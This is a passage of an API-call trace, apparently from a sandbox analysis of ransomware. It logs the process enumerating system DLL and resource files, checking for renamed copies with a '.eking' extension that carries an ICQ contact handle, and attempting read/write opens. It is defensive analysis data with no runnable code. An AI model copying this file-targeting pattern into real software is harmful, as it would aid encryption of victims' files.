files\\system\\ado\\msadox28.tlb")) returned 0x20 [0232.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb")) returned 0x20 [0232.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.973] SetEvent (hEvent=0x2b8) returned 1 [0232.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.978] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=32768) returned 1 [0232.978] CloseHandle (hObject=0x358) returned 1 [0232.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0232.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll")) returned 0x20 [0232.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\directdb.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.978] SetEvent (hEvent=0x2b8) returned 1 [0232.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.985] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=94208) returned 1 [0232.985] CloseHandle (hObject=0x358) returned 1 [0232.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0232.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0232.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.986] SetEvent (hEvent=0x2b8) returned 1 [0232.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.998] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=623) returned 1 [0232.998] CloseHandle (hObject=0x358) returned 1 [0232.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0232.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0232.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.001] SetEvent (hEvent=0x2b8) returned 1 [0233.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0233.004] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=6144) returned 1 [0233.004] CloseHandle (hObject=0x358) returned 1 [0233.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0233.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0233.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.226] SetEvent (hEvent=0x2b8) returned 1 [0233.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.227] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=99840) returned 1 [0233.227] CloseHandle (hObject=0x368) returned 1 [0233.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0233.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0233.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.228] SetEvent (hEvent=0x2b8) returned 1 [0233.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.229] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=376320) returned 1 [0233.229] CloseHandle (hObject=0x368) returned 1 [0233.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0233.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0233.230] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.230] SetEvent (hEvent=0x2b8) returned 1 [0233.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.232] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=698368) returned 1 [0233.232] CloseHandle (hObject=0x368) returned 1 [0233.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0233.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0233.232] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.233] SetEvent (hEvent=0x2b8) returned 1 [0233.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.233] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=54784) returned 1 [0233.233] CloseHandle (hObject=0x368) returned 1 [0233.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0233.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0233.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.234] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=117248) returned 1 [0233.234] CloseHandle (hObject=0x368) returned 1 [0233.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0233.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0233.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.239] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=16384) returned 1 [0233.239] CloseHandle (hObject=0x368) returned 1 [0233.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0233.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0233.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.248] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=77824) returned 1 [0233.248] CloseHandle (hObject=0x368) returned 1 [0233.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0233.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0233.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.284] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=868352) returned 1 [0233.284] CloseHandle (hObject=0x368) returned 1 [0233.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0233.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0233.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.285] SetEvent (hEvent=0x2b8) returned 1 [0233.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.287] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4608) returned 1 [0233.287] CloseHandle (hObject=0x368) returned 1 [0233.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0233.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0233.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.287] SetEvent (hEvent=0x2b8) returned 1 [0233.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.290] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=326144) returned 1 [0233.290] CloseHandle (hObject=0x368) returned 1 [0233.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0233.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0233.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.293] SetEvent (hEvent=0x2b8) returned 1 [0233.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.294] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2560) returned 1 [0233.294] CloseHandle (hObject=0x368) returned 1 [0233.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0233.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0233.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.295] SetEvent (hEvent=0x2b8) returned 1 [0233.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.296] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=854528) returned 1 [0233.297] CloseHandle (hObject=0x368) returned 1 [0233.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0233.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0233.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\wab32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0233.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.297] SetEvent (hEvent=0x2b8) returned 1 [0233.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0233.298] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=964096) returned 1 [0233.298] CloseHandle (hObject=0x368) returned 1 [0233.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0233.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0233.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 